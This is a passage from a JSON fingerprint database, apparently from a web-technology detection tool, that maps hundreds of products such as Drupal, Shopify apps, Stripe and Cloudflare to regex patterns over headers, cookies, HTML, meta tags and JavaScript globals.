matrix"},"html":["\u003c!--\\s+running (?:mysource|squiz) matrix"],"meta":{"generator":["squiz matrix"]},"implies":["PHP"]},"Apache":{"headers":{"server":"(?:apache(?:$|/([\\d.]+)|[^/-])|(?:^|\\b)httpd)\\;version:\\1"}},"HashThemes Total":{},"XRegExp":{"js":["xregexp.version"]},"Carrd":{},"Themes4Wp Bulk":{},"Twitter typeahead.js":{"js":["typeahead"],"implies":["jQuery"]},"GraphQL":{"meta":{"store-config":["graphqlmethod"]}},"SiteGuard WP Plugin":{},"Visa Checkout":{},"MGID":{"js":["mgsensor.mgqworker"]},"Framer Sites":{"js":["framer","framer.animatable","framer.version","__framer_importfrompackage"],"implies":["React"]},"PushPushGo":{},"Adalyser":{"js":["adalysermodules"]},"Kustomer":{"js":["kustomer"]},"Booster Page Speed Optimizer":{},"Yoast SEO Premium":{"html":["\u003c!-- this site is optimized with the yoast seo premium plugin v([^\\s]+) \\;version:\\1"]},"mini_httpd":{"headers":{"server":"mini_httpd(?:/([\\d.]+))?\\;version:\\1"}},"Beyable":{"cookies":{"beyable-cart":"","beyable-cartd":""},"js":["beyable","beyabledomain","beyablekey"]},"Open Web Analytics":{"js":["owa_cmds","owa.config.baseurl","owa_baseurl"],"html":["\u003c!-- (?:start|end) open web analytics tracker --\u003e"]},"Searchanise":{"js":["searchanise"]},"NagishLi":{"js":["nagishli_commons.version","$nagishli","initnagishli"]},"Flat UI":{"html":["\u003clink[^\u003e]* href=[^\u003e]+flat-ui(?:\\.min)?\\.css"],"implies":["Bootstrap"]},"Dealer Spike":{},"Liveinternet":{"html":["\u003cscript [^\u003e]*\u003e[\\s\\s]*//counter\\.yadro\\.ru/hit","\u003c!--liveinternet counter--\u003e","\u003c!--/liveinternet--\u003e","\u003ca href=\"http://www\\.liveinternet\\.ru/click\""]},"EmbedPlus":{},"Microsoft HTTPAPI":{"headers":{"server":"microsoft-httpapi(?:/([\\d.]+))?\\;version:\\1"}},"Syte":{"js":["syteapi.getbinimagebb","syteapp.analytics","sytepixel"]},"Siteglide":{"implies":["PlatformOS"]},"eSyndiCat":{"js":["esyndicat"],"headers":{"x-drectory-script":"^esyndicat"},"meta":{"generator":["^esyndicat "]},"implies":["PHP"]},"Jirafe":{"js":["jirafe"]},"VK Pixel":{},"Imagely NextGEN Gallery":{},"ElasticSuite":{"cookies":{"stvid":"\\;confidence:50","stuid":"\\;confidence:50"},"js":["smiletracker"],"implies":["PHP","Elasticsearch"]},"Attentive":{"js":["__attentive_domain","attn_email_save","__attentive"]},"Bluecore":{"js":["_bluecoretrack","bluecore_action_trigger","triggermail","triggermail_email_address"]},"Cashew Payments":{"headers":{"content-security-policy":"\\.cashewpayments\\.com"}},"ipify":{},"Plesk":{"headers":{"x-powered-by":"^plesk(?:l|w)in","x-powered-by-plesk":"^plesk"}},"Bitrix24":{"js":["bitrix24formloader","bitrix24formobject","b24tracker"]},"NACEX":{},"WooCommerce Multilingual":{},"Simplébo":{"headers":{"x-servedby":"simplebo"}},"WP-Optimize":{"html":["\u003c!--[^\u003e]+cached by wp-optimize"]},"AccessiBe":{"js":["acsb","acsbjs"]},"Pimcore":{"headers":{"x-powered-by":"^pimcore$"},"implies":["PHP"]},"BookDinners":{},"RecoverMyCart":{"implies":["Shopify"]},"WP-Statistics":{"js":["wp_statistics_http","wps_statistics_object"]},"Adobe Experience Platform Identity Service":{"js":["s_c_il.2._c","s_c_il.3._c","s_c_il.4._c","s_c_il.5._c","s_c_il.0._c","s_c_il.1._c"]},"Solvvy":{"js":["solvvy"]},"OneStat":{"js":["onestat_pageview"]},"Amazon ECS":{"headers":{"server":"^ecs"},"implies":["Amazon Web Services","Docker"]},"WebRTC":{},"Discuz! X":{"js":["discuzversion","discuz_uid","discuzcode"],"meta":{"generator":["discuz! x([\\d\\.]+)?\\;version:\\1"]},"implies":["PHP"]},"mod_auth_pam":{"headers":{"server":"mod_auth_pam(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Apache"]},"Vizury":{"js":["safarivizury","vizury_data"]},"BON Loyalty":{"js":["bonshopinfo.appearance"]},"Veoxa":{"js":["vuveoxacontent"],"html":["\u003cimg [^\u003e]*src=\"[^\"]+tracking\\.veoxa\\.com"]},"amCharts":{"js":["amcharts"],"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ejavascript chart by amcharts ([\\d.]*)\\;version:\\1"]},"FameThemes Screenr":{"js":["screenr_plus","screenr.autoplay"]},"VAPTCHA":{"js":["vaptcha"]},"EWWW Image Optimizer":{"js":["ewww_webp_supported"]},"Aweber":{"js":["awt_analytics"]},"Klarna Checkout":{"cookies":{"ku1-sid":"","ku1-vid":""},"js":["klarnaonsiteservice","_klarnacheckout"],"headers":{"content-security-policy":"\\.klarna(?:cdn|services)\\.(?:net|com)"}},"Gerrit":{"js":["gerrit","gerrit_ui"],"html":["\u003egerrit code review\u003c/a\u003e\\s*\"\\s*\\(([0-9.]+)\\)\\;version:\\1","\u003c(?:div|style) id=\"gerrit_"],"meta":{"title":["^gerrit code review$"]},"implies":["Java","git"]},"ExoClick":{"meta":{"exoclick-site-verification":[]}},"TWiki":{"cookies":{"twikisid":""},"html":["\u003cimg [^\u003e]*(?:title|alt)=\"this site is powered by the twiki collaboration platform"],"implies":["Perl"]},"Enigma":{},"particles.js":{"js":["particlesjs"],"html":["\u003cdiv id=\"particles-js\"\u003e"]},"LiveAgent":{"js":["liveagent"]},"Estore Compare":{},"AddToAny Share Buttons":{"implies":["AddToAny"]},"Ookla Speedtest Custom":{"headers":{"content-security-policy":"\\.speedtestcustom\\.com"}},"HubSpot Chat":{"js":["hubspotconversations"]},"Wolf CMS":{"html":["(?:\u003ca href=\"[^\u003e]+wolfcms\\.org[^\u003e]+\u003ewolf cms(?:\u003c/a\u003e)? inside|thank you for using \u003ca[^\u003e]+\u003ewolf cms)"],"implies":["PHP"]},"Chakra UI":{"implies":["React"]},"ExitIntel":{"js":["exitintelaccount","exitintelconfig","exitintel.version"]},"Dynatrace RUM":{"implies":["Dynatrace"]},"AppNexus":{"js":["appnexusvideo","appnexus"]},"JsRender":{"implies":["JsViews"]},"BrowserCMS":{"meta":{"generator":["browsercms ([\\d.]+)\\;version:\\1"]},"implies":["Ruby"]},"Snap.svg":{"js":["snap.version"]},"Accesso":{"js":["accesso"]},"Perl":{"headers":{"server":"\\bperl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1"}},"Transifex":{"js":["transifex.live.lib_version"]},"SplittyPay":{},"Bsale":{"cookies":{"_bsalemarket_session":""},"js":["bsale.version"],"meta":{"autor":["bsale"],"generator":["bsale"]},"implies":["Nginx"]},"Drupal":{"js":["drupal"],"headers":{"expires":"19 nov 1978","x-drupal-cache":"","x-generator":"^drupal(?:\\s([\\d.]+))?\\;version:\\1"},"html":["\u003c(?:link|style)[^\u003e]+\"/sites/(?:default|all)/(?:themes|modules)/"],"meta":{"generator":["^drupal(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["PHP"]},"Sonobi":{},"Malomo":{"js":["malomo"]},"NationBuilder":{"js":["nb.fbappid","nb.liquid"]},"HulkApps Form Builder":{"implies":["Shopify"]},"Vite":{},"MODX":{"js":["modx","modx_media_path"],"headers":{"x-powered-by":"^modx"},"html":["\u003ca[^\u003e]+\u003epowered by modx\u003c/a\u003e","\u003c(?:link|script)[^\u003e]+assets/snippets/\\;confidence:20","\u003cform[^\u003e]+id=\"ajaxsearch_form\\;confidence:20","\u003cinput[^\u003e]+id=\"ajaxsearch_input\\;confidence:20"],"meta":{"generator":["modx[^\\d.]*([\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Athena Search":{},"StoreHippo":{},"Laterpay":{"meta":{"laterpay:connector:callbacks:on_user_has_access":["deobfuscatetext"]}},"Ensighten":{},"Twitter":{},"Acquia Cloud Platform":{"headers":{"x-ah-environment":"^\\w+$"},"implies":["Amazon Web Services"]},"Heartland Payment Systems":{},"Searchspring":{"js":["searchspring","searchspringconf","searchspringinit"]},"Mention Me":{"js":["mentionme"]},"ChargeAfter":{"js":["chargeafter"]},"CrossBox":{"headers":{"server":"cbx-ws"}},"Kadence WP Virtue":{},"Cross Pixel":{"js":["cp_c4w1ldn2d9pmvrkn"]},"Adobe ColdFusion":{"js":["_cfemails"],"headers":{"cookie":"cftoken="},"html":["\u003c!-- start headertags\\.cfm"],"implies":["CFML"]},"Shopaholic":{"cookies":{"shopaholic_cart_id":""},"js":["shopaholiccart"]},"Babel":{"js":["_babelpolyfill"]},"Borlabs Cookie":{"js":["borlabscookieconfig"]},"ZestMoney":{"js":["zestmerchant","zestmoneywidget","zestbind"]},"GOV.UK Elements":{"html":["\u003clink[^\u003e]+elements-page[^\u003e\"]+css\\;confidence:25","\u003cdiv[^\u003e]+phase-banner-alpha\\;confidence:25","\u003cdiv[^\u003e]+phase-banner-beta\\;confidence:25","\u003cdiv[^\u003e]+govuk-box-highlight\\;confidence:25"],"implies":["GOV.UK Toolkit"]},"AfterShip Returns Center":{},"Cryout Creations Bravada":{},"siimple":{},"PizzaNetz":{},"True Fit":{},"Enlistly":{"implies":["Shopify"]},"RedwoodJS":{"implies":["React","GraphQL","TypeScript"]},"HubSpot Analytics":{},"Phenomic":{"html":["\u003c[^\u003e]+id=\"phenomic(?:root)?\""],"implies":["React"]},"Tabarnapp":{"js":["tabarnapp_loaded_ad"]},"Endurance Page Cache":{"headers":{"x-endurance-cache-level":""}},"Betty Blocks":{"meta":{"description":["^made with betty blocks$"]},"implies":["React"]},"Sharetribe":{},"Zonos":{"js":["zonos","zonos","zonoscheckout"]},"Splunk RUM":{"js":["plumbr._core.selfurl","plumbr._core.version"]},"eShopCRM":{"implies":["Shopify"]},"Dancer":{"headers":{"server":"perl dancer ([\\d.]+)\\;version:\\1","x-powered-by":"perl dancer ([\\d.]+)\\;version:\\1"},"implies":["Perl"]},"Litespeed Cache":{"headers":{"x-litespeed-cache":"","x-turbo-charged-by":"litespeed"}},"Hostinger":{},"Etracker":{"js":["_etracker"]},"Etix":{"js":["etix.javacontext"]},"ikiwiki":{"html":["\u003clink rel=\"alternate\" type=\"application/x-wiki\" title=\"edit this page\" href=\"[^\"]*/ikiwiki\\.cgi","\u003ca href=\"/(?:cgi-bin/)?ikiwiki\\.cgi\\?do="]},"Debian":{"headers":{"server":"debian","x-powered-by":"(?:debian|dotdeb|(potato|woody|sarge|etch|lenny|squeeze|wheezy|jessie|stretch|buster|sid))\\;version:\\1"}},"Dotdigital":{"js":["dmpt","dm_insight_id","dmtrackingobjectname"]},"Mapbox GL JS":{"js":["mapboxgl.version"]},"AWIN":{"cookies":{"bagawin":"","_aw_xid":""},"js":["awin.tracking"]},"Iluria":{"js":["iluriashowpagination","iluria"]},"iThemes Security":{},"Boats Group":{},"Justuno":{"js":["justunoapp"]},"Instapage":{"js":["_instapagesnowplow","instapagesp"],"implies":["Lua","Node.js"]},"CoRover":{"js":["corover_tag"]},"HCL Digital Experience":{"headers":{"ibm-web2-location":"","itx-generated-timestamp":""},"implies":["Java"]},"Ember.js":{"js":["ember.version","emberenv","ember"]},"Mautic":{"js":["mautictrackingobject"]},"Basic":{"headers":{"www-authenticate":"^basic"}},"Tencent Cloud":{"meta":{"copyright":["^.+tencent\\scloud\\.$"]}},"Simplero":{"js":["simplero"]},"The Theme Foundry Make":{"js":["makedynamicstylesheet","makefrontend"]},"GoAnywhere":{"js":["appcontainer"],"headers":{"server":"goanywhere"}},"SAP Commerce Cloud":{"cookies":{"_hybris":""},"js":["acc.config.commonresourcepath","acc.config.rootpath","acc.config.themeresourcepath","smartedit"],"html":["\u003c[^\u003e]+/(?:sys_master|hybr|_ui/(?:.*responsive/)?(?:desktop|common(?:/images|/img|/css|ico)?))/","\u003cscript[^\u003e].*hybris.*.js"],"implies":["Java"]},"libphonenumber":{"js":["libphonenumber.digits","libphonenumber.asyoutype"]},"Conjured":{},"NitroPack":{"meta":{"generator":["nitropack"]}},"parcel":{"js":["parcelrequire"]},"ParkingCrew":{"js":["pcrewadloaded"]},"LivePerson":{"js":["lptag.chronos"]},"fullPage.js":{"js":["fullpage_api.version"],"implies":["jQuery"]},"WooCommerce Stripe Payment Gateway":{"implies":["Stripe"]},"GetFeedback":{"js":["usabilla_live"]},"phpDocumentor":{"html":["\u003c!-- generated by phpdocumentor"],"implies":["PHP"]},"phpBB":{"cookies":{"phpbb":""},"js":["phpbb","style_cookie_settings"],"html":["powered by \u003ca[^\u003e]+phpbb","\u003cdiv class=phpbb_copyright\u003e","\u003c[^\u003e]+styles/(?:sub|pro)silver/theme","\u003cimg[^\u003e]+i_icon_mini","\u003ctable class=\"[^\"]*forumline"],"meta":{"copyright":["phpbb group"]},"implies":["PHP"]},"PCRecruiter":{"js":["pcrbaseurl","pcrdialog","pcrframeoptions"]},"Taggbox":{"js":["taggboxajaxurl"]},"LocalFocus":{"html":["\u003ciframe[^\u003e]+\\blocalfocus\\b"],"implies":["Angular","D3"]},"GemPages":{"js":["gemstore","gemvendor"],"implies":["Shopify"]},"Microsoft Authentication":{"js":["msal.authorityinstance","msalconfig.auth","msal.authority"]},"Shoptet":{"js":["shoptet"],"html":["\u003clink [^\u003e]*href=\"https?://cdn\\.myshoptet\\.com/"],"meta":{"web_author":["^shoptet"]},"implies":["PHP"]},"Fastly":{"headers":{"x-via-fastly:":"","fastly-debug-digest":"","vary":"fastly-ssl","server":"fastly","x-fastly-origin":"","x-fastly-request-id":"","x-served-by":"^cache-"}},"Admiral":{"js":["admiral"]},"Navegg":{},"Gutenberg Blocks":{},"AndersNoren Baskerville":{},"InstantClick":{"js":["instantclick"]},"Rezdy":{},"Shopery":{"headers":{"x-shopery":""},"implies":["PHP","Symfony","Elcodi"]},"Google Web Server":{"headers":{"server":"gws"}},"Site24x7":{"js":["s247rumqueueimpl","s247rum","site24x7rumerror","site24x7rum"]},"Remix":{"js":["__remixcontext"],"implies":["React"]},"AsciiDoc":{"js":["asciidoc"],"meta":{"generator":["^asciidoc ([\\d.]+)\\;version:\\1"]}},"GraphCMS":{"implies":["GraphQL","PostgreSQL","Go","TypeScript"]},"Beam OutSell":{"js":["outsellairecommendationsisenabled","outsellapp"],"implies":["Shopify"]},"Kitcart":{"implies":["Laravel","PHP"]},"Microsoft Ajax Content Delivery Network":{},"SweetAlert2":{"js":["sweetalert2"],"html":["\u003clink[^\u003e]+?href=\"[^\"]+sweetalert2(?:\\.min)?\\.css"]},"Akaunting":{"headers":{"x-akaunting":"^free accounting software$"},"html":["\u003clink[^\u003e]+akaunting-green\\.css","powered by akaunting: \u003ca [^\u003e]*href=\"https?://(?:www\\.)?akaunting\\.com[^\u003e]+\u003e"],"implies":["Laravel"]},"Moodle":{"cookies":{"moodleid_":"","moodlesession":""},"js":["m.core","y.moodle"],"html":["\u003cimg[^\u003e]+moodlelogo"],"meta":{"keywords":["^moodle"]},"implies":["PHP"]},"Tencent Waterproof Wall":{},"Amazon Associates":{},"Chartbeat":{"js":["_sf_async_config","_sf_endpt"]},"animate.css":{"html":["\u003clink [^\u003e]+(?:/([\\d.]+)/)?animate\\.(?:min\\.)?css\\;version:\\1"]},"AdRiver":{"js":["adriver","adrivercounter","adriverprebid","adfoxbiddersmap.adriver"]},"AddToAny":{"js":["a2apage_init"]},"SEOmatic":{"meta":{"generator":["^seomatic$"]},"implies":["Craft CMS"]},"Ensi":{"headers":{"x-ensi-platform":""},"meta":{"generator":["ensi platform"]}},"Mattermost":{"js":["mm_config","mm_current_user_id","mm_license","mm_user"],"html":["\u003cnoscript\u003e to use mattermost, please enable javascript\\. \u003c/noscript\u003e"],"implies":["Go","React"]},"React":{"js":["__react_on_rails_event_handlers_ran_once__","react.version","reactonrails"],"html":["\u003c[^\u003e]+data-react"],"meta":{"description":["^web site created using create-react-app$"]}},"Adnegah":{"headers":{"x-advertising-by":"adnegah\\.net"}},"SegmentStream":{"js":["segmentstream.version"]},"SitePad":{"meta":{"generator":["^sitepad .+$"]},"implies":["PHP"]},"Cryout Creations Mantra":{"js":["mantra_mobilemenu_init","mantra_onload","mantra_options"]},"Iamport":{"js":["imp.request_pay"]},"GitLab CI/CD":{"meta":{"description":["gitlab ci/cd is a tool built into gitlab for software development through continuous methodologies."]},"implies":["Ruby on Rails"]},"Lieferando":{"js":["tealium.pagedata.country"]},"Cloudflare":{"cookies":{"__cfduid":""},"js":["cloudflare"],"headers":{"server":"^cloudflare$","cf-cache-status":"","cf-ray":""}},"Sencha Touch":{},"Pattern by Etsy":{"js":["etsy"]},"Exemptify":{"js":["exemptifytriggerupdate","m4u_ex_vat_postfix_txt"],"implies":["Shopify"]},"Kameleoon":{"cookies":{"kameleoonvisitorcode":""},"js":["kameleoon.gatherer.script_version","kameleoonendloadtime","kameleoons"]},"Adminer":{"html":["adminer\u003c/a\u003e \u003cspan class=\"version\"\u003e([\\d.]+)\u003c/span\u003e\\;version:\\1","onclick=\"bodyclick\\(event\\);\" onload=\"verifyversion\\('([\\d.]+)'\\);\"\u003e\\;version:\\1"],"implies":["PHP"]},"ProfilePress":{"cookies":{"ppwp_wp_session":""}},"NEO - Omnichannel Commerce Platform":{"headers":{"powered":"jet-neo"}},"DoubleClick for Publishers (DFP)":{},"Substack":{"headers":{"x-cluster":"substack","x-served-by":"substack"}},"Sendgrid":{},"BeyondMenu":{},"BRT":{},"Ometria":{"cookies":{"ometria":""},"js":["addometriabasket","addometriaidentify","ometria"]},"Fast Bundle":{"js":["fastbundleconf.bundlebox","fastbundleconf.cartinfo.app_version"],"implies":["Shopify"]},"Question2Answer":{"html":["\u003c!-- powered by question2answer"],"implies":["PHP"]},"Obsidian Incentivize":{"js":["obsidian.incentiveapi"]},"Open Classifieds":{"meta":{"author":["open-classifieds\\.com"],"copyright":["open classifieds ?([0-9.]+)?\\;version:\\1"]}},"Baidu Analytics (百度统计)":{},"Sapper":{"js":["__sapper__"],"html":["\u003cscript[^\u003e]*\u003e__sapper__"],"implies":["Svelte","Node.js"]},"Shopware":{"headers":{"sw-version-id":"\\;version:6","sw-context-token":"^[\\w]{32}$\\;version:6","sw-invalidation-states":"\\;version:6","sw-language-id":"^[a-fa-f0-9]{32}$\\;version:6"},"html":["\u003ctitle\u003eshopware ([\\d\\.]+) [^\u003c]+\\;version:\\1"],"meta":{"application-name":["shopware"]},"implies":["PHP","MySQL","jQuery","Symfony"]},"PhotoShelter for Brands":{},"Mindbox":{"js":["mindboxendpointsettings","mindbox","mindboxbatchedmodulesinitialized"]},"MochiWeb":{"headers":{"server":"mochiweb(?:/([\\d.]+))?\\;version:\\1"}},"Hero":{"js":["herowebpluginsettings"],"implies":["Cart Functionality"]},"MRW":{},"Wishlist King":{"js":["appmate.version","appmate.wk"]},"STN Video":{},"GoAffPro":{"js":["gfp_api_server"]},"Amex Express Checkout":{},"Acquia Cloud Next":{"headers":{"x-ah-environment":"next"},"implies":["Acquia Cloud Platform","Kubernetes Dashboard","Amazon EFS","Amazon Aurora"]},"ImpressPages":{"meta":{"generator":["impresspages(?: cms)?( [\\d.]*)?\\;version:\\1"]},"implies":["PHP"]},"Unpkg":{},"Microsoft Publisher":{"html":["(?:\u003chtml [^\u003e]*xmlns:w=\"urn:schemas-microsoft-com:office:publisher\"|\u003c!--[if pub]\u003e\u003cxml\u003e)"],"meta":{"progid":["^publisher\\."],"generator":["microsoft publisher( [\\d.]+)?\\;version:\\1"]}},"Hextom Free Shipping Bar":{"implies":["Shopify"]},"IPB":{"cookies":{"ipbwwlmodpids":"","ipbwwlsession_id":""},"js":["ipboard","ipb_var","ipssettings"],"html":["\u003clink[^\u003e]+ipb_[^\u003e]+\\.css"],"implies":["PHP","MySQL"]},"Dojo":{"js":["dojo","dojo.version.major"]},"Omise":{"js":["omise","omisecard"]},"Pixnet":{"js":["pix.mib"]},"Ghost":{"headers":{"x-ghost-cache-status":""},"meta":{"generator":["ghost(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["Node.js"]},"eClass":{"js":["fe_eclass","fe_eclass_guest"]},"Ticimax":{},"Getintent":{},"MysteryThemes News Portal":{},"Friendbuy":{"js":["friendbuy","friendbuyapi.merchantid"]},"1C-Bitrix":{"cookies":{"bitrix_sm_guest_id":"","bitrix_sm_last_ip":"","bitrix_sm_sale_uid":""},"headers":{"set-cookie":"bitrix_","x-powered-cms":"bitrix site manager"},"implies":["PHP"]},"Auryc":{"js":["aurycjslibconfig.base.code_version"]},"comScore":{"js":["comscore","_comscore"]},"Wix Answers":{},"Powerboutique":{},"Czater":{"js":["$czater","$czatermethods"]},"jQuery CDN":{"implies":["jQuery"]},"CookieYes":{"js":["cookieyes"]},"Hypercorn":{"headers":{"server":"hypercorn"},"implies":["Python"]},"HubSpot Cookie Policy Banner":{},"PostNL":{},"Zabbix":{"js":["zbxcallpostscripts"],"html":["\u003cbody[^\u003e]+zbxcallpostscripts"],"meta":{"author":["zabbix sia\\;confidence:70"]},"implies":["PHP"]},"LearnWorlds":{"js":["lwclient.ebooks","lwsettings.deactive_components"]},"Droxit":{"cookies":{"droxit_a11y_state":""}},"Airform":{},"Adobe RoboHelp":{"js":["gbwhlang","gbwhmsg","gbwhproxy","gbwhutil","gbwhver"],"meta":{"generator":["^adobe robohelp(?: ([\\d]+))?\\;version:\\1"]}},"WHMCS":{"js":["whmcs"]},"Yoast Duplicate Post":{},"HTTP/2":{"headers":{"x-firefox-spdy":"h2"}},"Shiny":{"js":["shiny.addcustommessagehandler"]},"FancyBox":{"js":["fancybox.version","jquery.fancybox.version","$.fancybox.version"],"implies":["jQuery"]},"Headless UI":{},"Segment":{"js":["analytics.version"]},"Tencent QQ":{},"Think Up Themes Minamaze":{},"Yandex.Messenger":{"js":["yandexchatwidget"]},"Kibana":{"headers":{"kbn-name":"kibana","kbn-version":"^([\\d.]+)$\\;version:\\1"},"html":["\u003ctitle\u003ekibana\u003c/title\u003e"],"implies":["Node.js","Elasticsearch"]},"prettyPhoto":{"js":["pp_alreadyinitialized","pp_descriptions","pp_images","pp_titles"],"html":["(?:\u003clink [^\u003e]*href=\"[^\"]*prettyphoto(?:\\.min)?\\.css|\u003ca [^\u003e]*rel=\"prettyphoto)"],"implies":["jQuery"]},"eCaupo":{},"ip-label":{"js":["clobs"]},"Section.io":{"headers":{"section-io-id":"","section-io-origin-status":"","section-io-origin-time-seconds":""}},"FareHarbor":{"html":["\u003ciframe[^\u003e]+fareharbor"]},"git":{"meta":{"generator":["\\bgit/([\\d.]+\\d)\\;version:\\1"]}},"New Relic":{"js":["nreum","newrelic"]},"SiteSpect":{"js":["ss_dom_var"]},"DataTables":{"js":["jquery.fn.datatable.version","$.fn.datatable.version"],"implies":["jQuery"]},"JsObservable":{},"Epoch":{"html":["\u003clink[^\u003e]+?href=\"[^\"]+epoch(?:\\.min)?\\.css"],"implies":["D3"]},"FooPlugins FooGallery":{"js":["foogallery"]},"Prediggo":{"js":["prediggo","prediggosearchformexternalac"]},"jQuery Sparklines":{"implies":["jQuery"]},"Colorlib Shapely":{"js":["shapelyadminobject"]},"Shopcada":{"js":["shopcada"]},"Virgool":{"headers":{"x-powered-by":"^virgool$"}},"ReviewSolicitors":{"js":["rs.getwidgethtml"]},"Coin Currency Converter":{"implies":["Shopify"]},"MysteryThemes News Portal Mag":{},"Sezzle":{"js":["awesomesezzle","rendersezzleiframe","sezzle_footer_images"],"meta":{"sezzle_cid":[]}},"Yotpo Reviews":{"js":["yotpo"]},"Instana":{"js":["ineum"]},"Sitevision CMS":{"cookies":{"sitevisionltm":""}},"Grin":{"js":["grin"]},"Stripe":{"cookies":{"__stripe_mid":"","__stripe_sid":""},"js":["__next_data__.props.pageprops.appsettings.stripe_api_public_key","checkout.enabledpayments.stripe","stripe.version"],"html":["\u003cinput[^\u003e]+data-stripe"]},"ADFOX":{"js":["site.adfoxparams","adfoxparams","adfoxasyncparams","adfoxbiddersmap","adfox_getcodescript"]},"SiteMinder":{},"UsableNet":{"js":["enableusablenetassistive"]},"Patreon":{},"Trac":{"html":["\u003ca id=\"tracpowered","powered by \u003ca href=\"[^\"]*\"\u003e\u003cstrong\u003etrac(?:[ /]([\\d.]+))?\\;version:\\1"],"implies":["Python"]},"Sphinx":{"js":["documentation_options"],"html":["created using \u003ca href=\"https?://(?:www\\.)?sphinx-doc\\.org/\"\u003esphinx\u003c/a\u003e ([0-9.]+)\\.\\;version:\\1"]},"Analysys Ark":{"cookies":{"ark_id":""},"js":["analysysagent"]},"ResponsiveVoice":{"js":["responsivevoice.version"]},"iWeb":{"meta":{"generator":["^iweb( [\\d.]+)?\\;version:\\1"]}},"Podsights":{},"punBB":{"js":["punbb"],"html":["powered by \u003ca href=\"[^\u003e]+punbb"],"implies":["PHP"]},"EKM":{"cookies":{"ekmpowershop":""},"js":["_ekmpinpoint"]},"Pin Payments":{},"Contenido":{"meta":{"generator":["contenido ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"RCMS":{"meta":{"generator":["^(?:rcms|reallycms)"]}},"Splunkd":{"headers":{"server":"splunkd"}},"Yandex.Direct":{"js":["yandex_ad_format","yandex_partner_id"],"html":["\u003cyatag class=\"ya-partner__ads\"\u003e"]},"Asciidoctor":{"meta":{"generator":["^asciidoctor\\s([\\d\\.]+)$\\;version:\\1"]},"implies":["Ruby"]},"Webriti Busiprof":{},"Zakeke Visual Customizer":{"implies":["Zakeke"]},"Reservio":{},"Segment Consent Manager ":{"js":["consentmanager.version"]},"Yektanet":{"js":["yektanet"],"meta":{"yektanet_session_last_activity":[]}},"SVG Support":{},"RTB House":{},"jQuery-pjax":{"js":["jquery.pjax"],"html":["\u003cdiv[^\u003e]+data-pjax-container"],"meta":{"pjax-push":[],"pjax-replace":[],"pjax-timeout":[]},"implies":["jQuery"]},"SunOS":{"headers":{"server":"sunos( [\\d\\.]+)?\\;version:\\1","servlet-engine":"sunos( [\\d\\.]+)?\\;version:\\1"}},"Thimatic":{},"GrowingIO":{"cookies":{"gr_user_id":"","grwng_uid":""}},"OpenX":{"js":["openx.name"]},"Themegraphy Graphy":{},"Ionic":{"js":["ionic.config","ionic.version"]},"Detectify":{},"WP Engine":{"headers":{"x-wpe-loopback-upstream-addr":"","wpe-backend":"","x-pass-why":"","x-powered-by":"wp engine"},"implies":["WordPress"]},"STUDIO":{"meta":{"generator":["^studio$"]},"implies":["Vue.js","Nuxt.js","Firebase","Google Cloud","Google Tag Manager"]},"Coppermine":{"html":["\u003c!--coppermine photo gallery ([\\d.]+)\\;version:\\1"],"implies":["PHP"]},"Jekyll":{"html":["powered by \u003ca href=\"https?://jekyllrb\\.com\"[^\u003e]*\u003ejekyll\u003c/","\u003c!-- created with jekyll now -","\u003c!-- begin jekyll seo tag"],"meta":{"generator":["jekyll (v[\\d.]+)?\\;version:\\1"]}},"Gallery":{"js":["$.fn.gallery_valign","galleryauthtoken"],"html":["\u003cdiv id=\"gsnavbar\" class=\"gcborder1\"\u003e","\u003ca href=\"http://gallery\\.sourceforge\\.net\"\u003e\u003cimg[^\u003e]+powered by gallery\\s*(?:(?:v|version)\\s*([0-9.]+))?\\;version:\\1"]},"Chamilo":{"headers":{"x-powered-by":"chamilo ([\\d.]+)\\;version:\\1"},"meta":{"generator":["chamilo ([\\d.]+)\\;version:\\1"]},"implies":["PHP"]},"Cloudflare Network Error Logging":{"headers":{"nel":"cf-nel\\;confidence:50","report-to":"a\\.nel\\.cloudflare\\.com\\;confidence:50"}},"Kaltura":{"js":["kgetkalturaembedsettings","kgetkalturaplayerlist","kalturaiframeembed","restorekalturakdpcallback","kplayer"]},"React Router":{"implies":["React"]},"CMS Made Simple":{"cookies":{"cmssessid":""},"meta":{"generator":["cms made simple"]},"implies":["PHP"]},"Occasion":{"js":["occsn.stack","occsnmerchanttoken"]},"Envybox":{"js":["envywidget"]},"GroupBy":{},"Dyte":{"js":["triggerdyterecording"],"css":["\\.dyte-client-selfVideo"],"implies":["WebRTC"]},"ShellInABox":{"js":["shellinabox"],"html":["\u003ctitle\u003eshell in a box\u003c/title\u003e","must be enabled for shellinabox\u003c/noscript\u003e"]},"SDL Tridion":{"html":["\u003cimg[^\u003e]+_tcm\\d{2,3}-\\d{6}\\."]},"PriceSpider":{"js":["pricespider.version"]},"AudioEye":{"js":["$ae.attrhooks","window.audioeye.version"]},"Cratejoy":{"cookies":{"cratejoy_muffin42":"","statjoy_metrics":""},"js":["statjoyserver"]},"@sulu/web":{"js":["web.startcomponents"]},"Kaira Vogue":{},"Signifyd":{"js":["signifyd_global"]},"Nestify":{"headers":{"x-nestify-cache":""}},"Basis Technologies":{},"LOU":{},"Gist Giftship":{},"Robin":{"js":["robin_storage_settings","_robin_getrobinjs","robin_settings"]},"Sniply":{"js":["sniply.create_sniply_bar"]},"FluxBB":{"html":["\u003cp id=\"poweredby\"\u003e[^\u003c]+\u003ca href=\"https?://fluxbb\\.org/\"\u003e"],"implies":["PHP"]},"Dreamdata":{"js":["biztrackinga","bizible"]},"Koobi":{"html":["\u003c!--[^k\u003e-]+koobi ([a-z\\d.]+)\\;version:\\1"],"meta":{"generator":["koobi"]}},"Bootstrap":{"js":["bootstrap.alert.version","jquery.fn.tooltip.constructor.version"],"html":["\u003cstyle\u003e\\s+/\\*!\\s+\\* bootstrap v(\\d\\.\\d\\.\\d)\\;version:\\1","\u003clink[^\u003e]* href=[^\u003e]*?bootstrap(?:[^\u003e]*?([0-9a-fa-f]{7,40}|[\\d]+(?:.[\\d]+(?:.[\\d]+)?)?)|)[^\u003e-]*?(?:\\.min)?\\.css\\;version:\\1"]},"Crobox":{"js":["crobox"]},"MyOnlineStore":{"meta":{"generator":["mijnwebwinkel"]}},"SiteW":{},"ThemeGrill eStore":{"meta":{"generator":["estore v\\.([\\d\\.]+)\\;version:\\1"]},"implies":["Cart 